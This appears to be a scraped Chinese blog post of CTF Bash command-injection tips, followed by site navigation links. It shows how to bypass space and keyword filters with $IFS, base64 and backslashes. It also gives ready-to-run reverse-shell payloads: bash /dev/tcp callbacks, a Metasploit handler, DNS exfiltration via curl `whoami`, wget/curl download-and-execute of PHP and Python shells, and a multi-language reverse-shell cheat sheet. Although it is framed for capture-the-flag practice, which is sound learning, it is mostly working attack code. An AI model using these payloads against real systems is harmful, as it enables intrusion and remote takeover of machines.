CTF 中 Bash中的小技巧
来源:互联网 发布:linux配置自动获取ip 编辑:程序博客网 时间:2024/05/16 17:23
1.绕过空格过滤
bash中可以过滤的符号
$IFS$9 ${IFS} %09 (符号需要php环境)
2.命令分隔符这里介绍5种姿势
1.%0a符号 换行符2.%0d符号 回车符3.;符号 在 shell 中,担任”连续指令”功能的符号就是”分号”4.&符号 & 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。5.|符号管道符左边命令的输出就会作为管道符右边命令的输入
3.黑名单绕过
a=l;b=s;$a$b
base64编码echo “dw5hbWU=”|base64 -d
继续补充一波,做ctf联系平台上面的题目发现存在反弹shell的姿势,然后咨询了一下pupil师傅,学习一波姿势
比赛又发现了这个
l\s
是可以当做ls执行的!
1.利用bash命令并在本地进行nc监听结果查看回连日志
在服务器端输入
nc -l -p 8080 -vvv
然后在靶机命令执行
|bash -i >& /dev/tcp/(vps的公网ip)/8080 0>&1
然后即可反弹shell成功!
2.msf反向回连
类似于监听,但是需要用msf,要求比较高,我服务器没有安装,但是不失是一种方法
use exploit/multi/handlerset payload linux/armle/shell/reverse_tcpset lport 8080set lhost xxx.xxx.xxx.xxxset exitonsession falseexploit -j
依旧在然后在靶机命令执行处输入
|bash -i >& /dev/tcp/(vps的公网ip)/8080 0>&1
3.利用DNS管道解析
其实这个才是最长姿势的,看过i春秋中一位大佬的博文见过
利用dnslog这种网站查看回显日志
然后在靶机输入地点输入
|curl `whoami`.xxxx.xxx(子域名)
即可看到回显
4.利用其他服务器运行环境反弹,比如php,python
首先还是nc监听
nc -l -p 12345 -vv<v
然后构造如下,利用wget下载我得远端恶意代码,上传到靶机上进行恶意程序!这个可以在对方过滤了什么bash的时候使用
wget方法
wget http://localhost/test.txt -O /tmp/x.php && php /tmp/x.php
文件内容如下
<?php $sock=fsockopen("localhost",12345);//localhost为自己的外网ip,端口对应 exec("/bin/sh -i <&3 >&3 2>&3"); ?>
curl方法
curl -sS http://localhost/test.py | python
py文件内容如下
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("localhost",12345)) #更改localhost为自己的外网ip,端口任意 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
分享几个比较好的文章
http://www.myhack58.com/Article/html/3/8/2014/48255.htm
还有一大坨不同语言的反弹shell语句
bash版本:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1注意这个是由解析shell的bash完成,所以某些情况下不支持perl版本:perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'python版本:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'php版本:php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'ruby版本:ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'nc版本:nc -e /bin/sh 10.0.0.1 1234rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/fnc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999java版本r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()lua版本:lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
阅读全文
0 0
- CTF 中 Bash中的小技巧
- 浅谈CTF中命令执行与绕过的小技巧
- 浅谈CTF中命令执行与绕过的小技巧
- 浅谈CTF中命令执行与绕过的小技巧
- [小技巧] 在bash中生成随机数
- bash小技巧
- bash shell小技巧
- Bash小技巧
- bash 小技巧
- bash使用小技巧
- [小技巧] bash 中快速跳转到目录里
- 十个Linux bash小技巧
- Bash命令小技巧总结
- bash 脚本小技巧(1)
- 十个Linux bash小技巧
- bash编程之 小技巧
- MySQL中的小技巧(不断更新中)
- Linux bash shell 的十个小技巧
- win7下idea远程连接hadoop,运行wordCount
- 详解Tomcat 配置文件server.xml
- reactivecocoa框架 、MVC 和 MVVM 的理解
- SDK窗口编程 输出一个在窗口永远居中的字符串
- 在ubuntu上搭建django生产环境
- CTF 中 Bash中的小技巧
- Swift 字符(Character)
- 【Merge two sorted】 --MyLeetCode(七)
- [Oracle Support]PeopleSoft Support中Fixes,Patches,Bundles,Packs?
- MongoDB存储结构
- vim编辑器的一些其他用法
- (牧飞)搭建自己的pip源
- 使用TabLayout和ViewPager实现顶部标签页
- 想学H5的用哪些软件好